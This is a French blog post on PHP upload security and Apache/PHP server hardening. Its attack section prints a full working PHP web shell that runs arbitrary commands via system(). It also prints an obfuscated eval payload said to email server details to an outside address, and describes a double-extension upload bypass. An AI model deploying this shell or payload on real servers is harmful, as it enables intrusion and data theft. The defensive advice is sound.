PHP upload sécurisé et interprétation contrôlée du code PHP avant téléchargement pour éviter les injections
Par PlaceOweb le dimanche, décembre 6 2009, 23:16 - PHP - Lien permanent
Comment éviter l'injection et l'exécution de scripts PHP indésirable ?
Introduction sur l'envoi d'éléments : texte et fichier depuis un formulaire web à destination d'un serveur web
Outre la faille de DOS dans les versions antérieures à PHP 5.3.1, il est fréquent que le sites web aient besoin de recueillir des données. Généralement cela se passe via les formulaires html, mais si vous voulez échanger plus que de la donnée texte, donc des fichiers, il vous faudra envoyer (upload) de la donnée binaire via le type FILE.
Voyez les différents types possibles : TEXT | PASSWORD | CHECKBOX | RADIO | SUBMIT | RESET | FILE | HIDDEN | IMAGE | BUTTON de l'élément INPUT sur les normes W3C.)
Une fois le fichier fichier sur le serveur, s'il est disponible au téléchargement (download), il ne reste plus qu'a utiliser son URL pour le télécharger.
Sécurité dans l'envoi des fichier (upload) vers un serveur PHP
Suject: Injection upload php, Backdoor, ....
Les problèmes de sécurité avec PHP fait une bonne approche sur les failles d'upload.
La protection : safe mode PHP, permet de limiter les dégâts, mais pas de les anéantir..., tellement que : Le "Safe Mode" est obsolète depuis PHP 5.3.0 et est supprimé dans PHP 6.0.0.
Les parades pour lutter contre l'injection
Heureusement certains webmaster cherchent des solutions de Sécurité contre injection de code dans upload
- Supprimer les balises php (le mot php, surtout sur un serveur php en 5.x avec les balises short tag d'interdites) s'il ne s'agit de script php
- Rajouter les entêtes avant le DL du fichier.... (mais nécessite de passer par un DL.php par exemple)
- APACHE/PHP php.ini désactiver PHP (son interprétation) dans certains répertoires : Comment modifier la configuration , Liste des directives du php.ini
- Apache Module mod_mime > RemoveType Directive : RemoveType .php
- Apache Module mod_headers > Header Directive
On peut aussi forcer le téléchargement du fichier (Apache force download) :
<IfModule mod_headers.c> <Files *.pdf> ForceType application/pdf Header set Content-Disposition attachment </Files> <FilesMatch "\.(jpe?g)$"> ForceType image/jpeg Header set Content-Disposition attachment </FilesMatch> </IfModule>
Forcer le téléchargement du fichier
Avec cette configuration l'accès à un fichier, est directement transmis au client sans interprétation du code inclus dans ce fichier.
<Directory "/var/www/mysite/files"> # RemoveType application/x-httpd-php .php # RemoveType application/x-httpd-php .phtml # RemoveType application/x-httpd-php-source .phps # # RemoveType .php # Header set Content-Type application/octetstream # Header set Content-Disposition attachment # # AddType application/octet-stream .jpg # # ForceType application/octet-stream # Header set Content-Type application/force-download # Header set Content-Disposition attachment # # ForceType application/octet-stream # Forcer le téléchargement du fichier ouvrant la boîte de dialogue d'enregistrement du fichier pour l'internaute ForceType application/force-download </Directory>
Sites vulnérables aux attaques PHP le 10 décembre 2009
CENSURE : (multiple upload Php/Ajax)
Lors de l'upload, ce site ne vérifiant que l'extension du php, il vous refusera d'envoyer un fichier .php
Alors la solution est simple, on met une extension autorisée, en l'occurrence du .gif
Donc nous renommerons l'extension de notre fameux fichier phpinfo.php en .gif : phpinfo.php.gif
<?php phpinfo(); ?>
Après avoir envoyer vos fichiers, vous les retrouverez disponible sur le http :
- CENSURE.biz/uppy/MyUpload/
- CENSURE.biz/uppy/MyUpload/phpinfo.php.gif
Et comme le site propose de télécharger directement le fichier envoyé et qu'il s'agit d'un serveur PHP, au lieu de nous envoyer le fichier, le serveur interprète les balises PHP du fichier lorsque nous souhaitons le télécharger. Dans notre cas, rien de bien grave hormis que l'on obtient toutes les informations du serveur via la fonction phpinfo(), mais imaginer que l'on mette une backdoor, qui pénétrerai votre serveur : vol, destruction, virus, corruption de données !....
Outils d'analyses d'entêtes http
- webrankinfo : Analyser le code de l'entête HTTP d'une page : Analyse du header HTTP (entête HTTP)
- outils-referencement : Entête HTTP - analyse de l'entête d'une page web
Exemples de scripts PHP d'attaques d'un serveur web
Un listing d'attaques
Script 1 : Injection de commandes systèmes via un formulaire web
A la différences des principales attaques, celui ci ferme les log avec closelog — Ferme la connexion à l'historique système. closelog() ferme le pointeur qui sert à écrire dans l'historique système. L'utilisation de closelog() est optionnelle.
Il vérifie que le dossier courant est accessible en écriture avec is_writable — Indique si un fichier est accessible en écriture
Et propose un formulaire web d'injection de commandes PHP exécutées par system qui enregistre les sorties avant de les afficher avec ob_get_contents — Retourne le contenu du tampon de sortie
<?php echo "<p><font size=2 face=Verdana><b>This Is The Server Information</b></font></p>"; ?> <?php closelog( ); $user = get_current_user( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $ver = phpversion( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); if(!$whoami)$whoami=exec("whoami"); ?> <br> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"> <?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> </TR> <?php } ?> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD> </TR> </TABLE> <BR> <font face="courier new" size="2" color="777777"> <b>#</b>php injection: <br> <FORM name=injection METHOD=POST ACTION="<?php echo $_SERVER["REQUEST_URI"];?>"> cmd : <INPUT TYPE="text" NAME="cmd" value="<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>" size="161"> <br> <INPUT TYPE="submit"> </FORM> <hr color=777777 width=100% height=115px> </font> <pre> <? $cmd = $_POST['cmd']; if (isset($chdir)) @chdir($chdir); ob_start(); system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); exit; ?>
Script 2 : Envoi des informations du serveur par mail
function d($s, $k=''){if($k==''){for($i=0;$i<strlen($s);$i){$d.=chr(hexdec(substr($s, $i, 2)));$i=(float)($i)+2;}return $d;}else{$r='';$f=d('6261736536345f6465636f6465');$u=$f('Z3ppbmZsYXRl');$s=$u($f($s));for($i=0;$i<strlen($s);$i++){$c=substr($s, $i, 1);$kc=substr($k, ($i%strlen($k))-1, 1);$c=chr(ord($c)-ord($kc));$r.=$c;}return $r;}} eval(d("VZL7TuJAGMUfbfcV1HUJoMnakVvqLUqhpVNoYVpmaBvRXul0hqq0XOpGH3HR7CbuvyfnJL/zfYdGtTov8jSv/VzXj3pGr3K8ub4STo7HqFKl+Span1aKXwd3unRY2d5cs0eeh/WT94im1Wq1dvleXS55eHh98EODRvmAZcFrwCtnqZWONRPslsnnQGS2mfAZacvhdFvgZ+ohhhtmKsnB0iAou6PojbzMqbo1TJiPty2oSZNXx3H5PQAbW8H5pORpcN5fuu6zqKeiMaBcHEqktInN4yWg9pmjEIGqVt9JNGul97hJ50TnhqmtogHZGLSzgbzF7gVdtrirYr5bmvJkitUL1Rb0qQrATpNvTIRVYtqabwhQtjBRMSARxirUmqCj3wqaqrRZQJx4bN5tfU2KKW4lHsGrobWLocK2UAGLB4AFm7RbQ8lAaCqMyYDE2EJ9i+67lXLqzW7Lf75H5eItUoymTSYs5MkXvvL/LAef2aAxpT7vinoXxZZAMGEuImWgEtWc3J8lYwugF3vP0ptkLHCNTJeExYCXO8Q0E1nZQoNakgAceBnZOaTNVKXXhrK5nmPAidKW45myCBrDD42mpJv4DeMp5G+FiW8/tOekv1ujD+Ze8dlX512WKCHzS3jRnxSpk6mbAO/5Uqf0zoEIJb2Ag6D0XbTWmRiTV8BH9O/feItOFbTxzssepGI6AyMZP7myw/IMyeYMyzcDC4ym+9uvddqk+hboAdGefClefNnaBu53EBL1ZSR32YLomSZ1Mzcz1r6Zdo5vjqLfj7zmeUXSaYZBFGRhfFrhqziq1y6/f4t3WX75Bw==", 1235327122));
Je vous laisse décoder ce qui cache se script, mais en gros : c'est l'envoi des infos du serveur PHP attaqué (et de l'ip qui a lancé ce script sur telle URL) à destination de ban.dage07@gmail.com (voyez aussi ulisoft.org)
Sécuriser le reste de son serveur PHP
Selon Checklist for Securing PHP Configuration
La désactivation à distance des URL pour les fonctions de traitement des fichiers
Les fonctions de gestion de fichier comme fopen, file_get_contents, et incluent acceptent les URL comme des paramètres du fichier. Même si cela permet aux développeurs d'accéder à des ressources éloignées, comme les URL HTTP, il se présente comme un énorme risque de sécurité si le nom est tiré de l'entrée utilisateur sans assainissement approprié, et ouvre la porte à l'exécution de code à distance sur le serveur. Pour désactiver cette fonction et de limiter au système de fichier local, utilisez le paramètre suivant dans le fichier php.ini:
allow_url_fopen = Off
Restreindre là où PHP peut lire et écrire
Les scripts PHP, n'ont pas forcément besoin d'accéder à tous les sous-répertoire dans le système de fichiers, on peut donc les cantonner au dossier /var/www par exemple. Dans ce cas, vous pouvez limiter ce que la fonction fopen et autres fonctions d'accès aux fichiers peuvent lire et écrire en utilisant la directive suivante:
open_basedir = /var/www
Cacher la présence de PHP
PHP révèle sa présence sur le serveur de différentes façons:
- il peut envoyer un en-tête HTTP (X-Powered-By: PHP)
- ou ajouter son nom à la signature et la version d'Apache.
- En plus, il existe des URL d'oeufs de Pâques qui retournent le logo et les crédits de PHP :
Les Easter Egg (œuf de Pâques, tel que le défini Wikipédia en parlant des fonctions cachées)
#define PHP_LOGO_GUID "PHPE9568F34-D428-11d2-A769-00AA001ACF42" #define PHP_EGG_LOGO_GUID "PHPE9568F36-D428-11d2-A769-00AA001ACF42" #define ZEND_LOGO_GUID "PHPE9568F35-D428-11d2-A769-00AA001ACF42" #define PHP_CREDITS_GUID "PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
Et oui, PHP possède ses propres fonctions cachées. Pour cela il suffit d’ajouter une variable dans l’URL de n’importe quel site fait en PHP. Les variables en question sont citées ci dessous :
- Credits PHP : ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
- Logos PHP :
- ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
- ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
- ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
Il n'y a évidemment aucune raison de laisser les utilisateurs finaux connaître la version PHP du serveur. Heureusement, il y a un interrupteur dans le fichier php.ini qui désactive tout ce qui précède:
expose_php = Off
La signature d'Apache
Pour plus de sécurité, masquez l'identification du serveur sur les pages d'erreur (message Apache Server + numéro de version) dans la conf Apache (Core Features) :
ServerSignature Off ServerTokens Prod
Prenez garde aux fonctions d'exécution système
D'autant plus si vous n'êtes pas dans un environnement chrooté, et que les fonctions d'appel au système (ligne de commande) ne sont pas désactivée prenez garde à l'utilisation de ces fonctions permissives et donc dangereuses :
- exec— Exécute un programme externe (Lorsque le safe mode est activé, vous pouvez uniquement exécuter des programmes qui se situent dans le dossier défini par safe_mode_exec_dir. )
- shell_exec — Exécute une commande via le Shell et retourne le résultat sous forme de chaîne (Cette fonction est désactivée par le safe-mode)
- pcntl_exec — Exécute le programme indiqué dans l'espace courant de processus
- popen — Crée un processus de pointeur de fichier (Lorsque le safe mode est activé, la chaîne de commande est échappée avec la fonction escapeshellcmd().)
- passthru — Exécute un programme externe et affiche le résultat brut (Lorsque le safe mode est activé, la chaîne de commande est échappée avec la fonction escapeshellcmd().)
Pour désactiver certaines options ou fonctions
Consultez la description des directives internes du php.ini, les fonctions désactivées par le Safe Mode
AlsaCréation vous illustre la désactivation de fonctions php :
disable_functions = symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,passthru,escapeshellarg,escapeshellcmd
Et pour terminer
Ce que vous auriez du faire dès le début, lire la a section sécurité de la documentation PHP.
Pour les serveurs Apache
Sécurisation d'un serveur Apache
Users et users
Le serveur web est lancé par l'utilisateur root ce qui lui permet d'utiliser le port privilégié 80, ensuite il prend l'identité d'un utilisateur sans pouvoir apache ou nobody.
User apache Group apache
suexec
Le problème est que les scripts s'exécutent tous avec le même id (i.e. le même propriétaire). En conséquence, ils peuvent interférer entre eux. Le programme suexec permet d'utiliser des User/Group différents pour chaque virtual host de façon à séparer les utilisateurs. En contrepartie, un pirate disposant du compte apache est capable d'utiliser ce programme pour corrompre d'autres comptes, c'est pour cela qu'il n'est pas actif par défaut. Il faut lire très attentivement la documentation.
Documentation Apache : suEXEC Support
** Support suEXEC d'Apache 1.3
** suEXEC Support - Apache HTTP Server Version 2.2
** Support suEXEC - Serveur Apache HTTP Version 2.3
SUEXEC(8) suexec SUEXEC(8) NAME suexec - Switch user before executing external programs SYNOPSIS suexec -V SUMMARY suexec is used by the Apache HTTP Server to switch to another user before executing CGI pro- grams. In order to achieve this, it must run as root. Since the HTTP daemon normally doesn’t run as root, the suexec executable needs the setuid bit set and must be owned by root. It should never be writable for any other person than root. For further information about the concepts and and the security model of suexec please refer to the suexec documentation (http://httpd.apache.org/docs/2.2/suexec.html). OPTIONS -V If you are root, this option displays the compile options of suexec. For security rea- sons all configuration options are changeable only at compile time. Apache HTTP Server 2005-11-13 SUEXEC(8)
~# /usr/lib/apache2/suexec -V -D AP_DOC_ROOT="/var/www" -D AP_GID_MIN=100 -D AP_HTTPD_USER="www-data" -D AP_LOG_EXEC="/var/log/apache2/suexec.log" -D AP_SAFE_PATH="/usr/local/bin:/usr/bin:/bin" -D AP_UID_MIN=100 -D AP_USERDIR_SUFFIX="public_html"
Autres docs
- doc.ubuntu-fr.org : Re-configuration de Suexec
- Suexec - Au secours !!!
- How to set up suexec to work with virtual hosts and PHP
- How To Set Up Apache2 With mod_fcgid And PHP5 On Debian Lenny Permet d'exécuter des scripts PHP avec les autorisations de leurs propriétaires au lieu de l'utilisateur Apache.
- Espace web sécurisé avec Apache 2.2.10
- Apache2 + mod_fastcgi + suexec on debian etch
- Modifying the AP_DOC_ROOT in suEXEC on CentOS
- comment_recompiler_apache_sous_debian_etch_ou_sarge
Problèmes de php_value avec suexec
Pour le problème de TimeOut avec FastCGI : mod_fcgid: read data timeout in 40 seconds
, mod_fcgid ignoring FastCGI config settings? nous indique de rajouter : ProcessLifeTime 7200
pour chaque VirtualHost ou dans une configuration globale dans la section <IfModule mod_fcgid.c>
En fait cela ne marchant pas il faut plutôt lire la documentation Apache du Module mod_fcgid (execution of FastCGI applications), puis de rajouter dans votre Vhost :
IPCCommTimeout 600
Ou FcgidIOTimeout
pour les versions d'Apache >= 2.3
- [warn] (103)Software caused connection abort: mod_fcgid: ap_pass_brigade failed in handle_request function
- mod_fcgid: process 3619 going graceful shutdown, sending SIGTERM process /path/index.php(3619) exit(communication error), terminated by calling exit(), return code: 0
[notice] mod_fcgid: process 3619 going graceful shutdown, sending SIGTERM [notice] mod_fcgid: process /path/index.php(3619) exit(communication error), terminated by calling exit(), return code: 0
ou
[notice] mod_fcgid: process /path/index.php(8109) exit(busy timeout), terminated by calling exit(), return code: 0
Alors là c'est le mystère .... on peut lire :
- Bug #41593 FastCGI does not handle graceful reload/shutdown
- fcgid - Internal Server Error 500!!!! fastcgi
- [SOLVED] How to fix 500 errors
et essayer de palier au message :
Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, administrateur@monsite.com and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log.
/some/path/to/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable
Même si vous n'avez pas de fichier .htaccess vérifiez que les droits sur vos fichiers et dossier sont corrects (appartiennent à l'utilisateur concerné)
Impossible de s'authentifier (auth_type http) sur phpMyAdmin avec FCGI
Si vous êtes configurés en autentification http
$cfg['Servers'][$i]['auth_type'] = 'http';
Patches
To authenticate with 'auth_type=http' and phpMyAdmin running as FastCGI script, FastCGI has to provide the 'Authorization' header. This is done with the option '-pass-header' set to 'Authorization'. Set this option in apache2.conf (e.g. FastCgiConfig -pass-header Authorization). In order to analyze this value install the attached patch.
Dear Developers, In order to be able to use http authentication to work with PHP/MOD_FASTCGI and fix errors: FastCGI: comm with server "php-bin/php" aborted: error parsing headers: duplicate header 'status' you shoud not send header('status: 401 Unauthorized') if phpmyadmin works under the fcgi environment. See attached patch.
Et heureusement ce patch de FCGI phpMyAdmin est désormais inclus, il faut juste rajouter de la ré-écriture d'url :
'HTTP' authentication mode * Uses HTTP Basic authentication method and allows you to log in as any valid MySQL user. * Is supported with most PHP configurations. For IIS (ISAPI) support using CGI PHP see FAQ 1.32, for using with Apache CGI see FAQ 1.35. * See also FAQ 4.4 about not using the .htaccess mechanism along with 'HTTP' authentication mode.
1.35 Can I use HTTP authentication with Apache CGI? Yes. However you need to pass authentication variable to CGI using following rewrite rule: RewriteEngine On RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
PHP FCGI : CGI = Common Gateway Interface